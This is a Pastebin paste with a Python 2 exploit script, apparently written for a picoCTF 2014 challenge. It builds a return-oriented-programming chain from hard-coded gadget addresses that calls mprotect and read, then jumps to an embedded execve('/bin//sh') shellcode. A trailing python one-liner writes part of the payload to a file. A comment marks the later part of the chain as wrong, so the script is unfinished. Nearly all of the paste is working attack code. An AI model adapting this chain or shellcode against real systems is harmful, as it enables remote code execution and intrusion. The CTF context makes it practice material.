Advertisement
Guest User

Untitled

a guest
Jan 28th, 2015
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.02 KB | None | 0 0
  1. #!/usr/bin/python
  2. import struct
  3. import socket
  4. import telnetlib
  5.  
  6. def pack4(v):
  7.     """
  8.    Takes a 32 bit integer and returns a 4 byte string representing the
  9.    number in little endian.
  10.    """
  11.     assert 0 <= v <= 0xffffffff
  12.     # The < is for little endian, the I is for a 4 byte unsigned int.
  13.     # See https://docs.python.org/2/library/struct.html for more info.
  14.     return struct.pack('<I', v)
  15.  
  16. def unpack4(v):
  17.     """Does the opposite of pack4."""
  18.     assert len(v) == 4
  19.     return struct.unpack('<I', v)[0]
  20.  
  21. #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  22. #s.connect(('vuln2014.picoctf.com', 4548))
  23. #s.connect(('127.0.0.7', 1337))
  24. #f = s.makefile('rw', bufsize=0)
  25.  
  26. # It's useful to pause the client right after connecting so that you can
  27. # attach to the server with gdb if desired.
  28. #raw_input()
  29.  
  30. JUSTRET = pack4(0xf000840)
  31. PUSHEBX = pack4(0xf00083f)
  32. POPEAX  = pack4(0xf000d25)
  33. POPEBX  = pack4(0xf0010a4)
  34. POPECX  = pack4(0xf001985)
  35. POPEDX  = pack4(0xf00107f)
  36. INT80   = pack4(0xf0030fa)
  37.  
  38. buf =  "\x1e\x00\x00\x00\n" # Seed = 0x1e
  39. #f.write(buf)
  40.  
  41. # Call mprotect
  42. buf += "a" * 31
  43. buf += POPEBX
  44. buf += pack4(0x0f000000)
  45. buf += POPECX
  46. buf += pack4(0xa000)
  47. buf += POPEDX
  48. buf += "\x07\x00\x00\x00"
  49. buf += POPEAX
  50. buf += pack4(0x7d)
  51. buf += INT80
  52.  
  53. # Call read on our 0x0f000000 buffer
  54. buf += POPEAX
  55. buf += pack4(0x3)
  56. buf += POPEBX
  57. buf += pack4(0x0)
  58. buf += POPECX
  59. buf += pack4(0x0f000000)
  60. buf += POPEDX
  61. buf += pack4(21) # 21 bytes shellcode
  62. buf += INT80
  63.  
  64.  
  65. # WRONG AFTER THIS!!!
  66.  
  67. buf += POPEBX
  68. buf += pack4(0x0f000000)
  69. buf += PUSHEBX
  70. buf += JUSTRET
  71. buf += "\n"
  72.  
  73. buf += "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
  74.  
  75. #f.write(buf)
  76. print buf
  77. '''
  78. t = telnetlib.Telnet()
  79. t.sock = s
  80. t.interact()
  81.  
  82. python -c 'print "\x1e\x00\x00\x00\n" + "a"*31 + "\xa4\x10\x00\x0f" + "\x00\x00\x00\x0f" + "\x85\x19\x00\x0f" + "\x00\xa0\x00\x00" + "\x7f\x10\x00\x0f" + "\x07\x00\x00\x00" + "\x25\x0d\x00\x0f" + "\x7d\x00\x00\x00" + "\xfa\x30\x00\x0f" > input
  83. '''
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement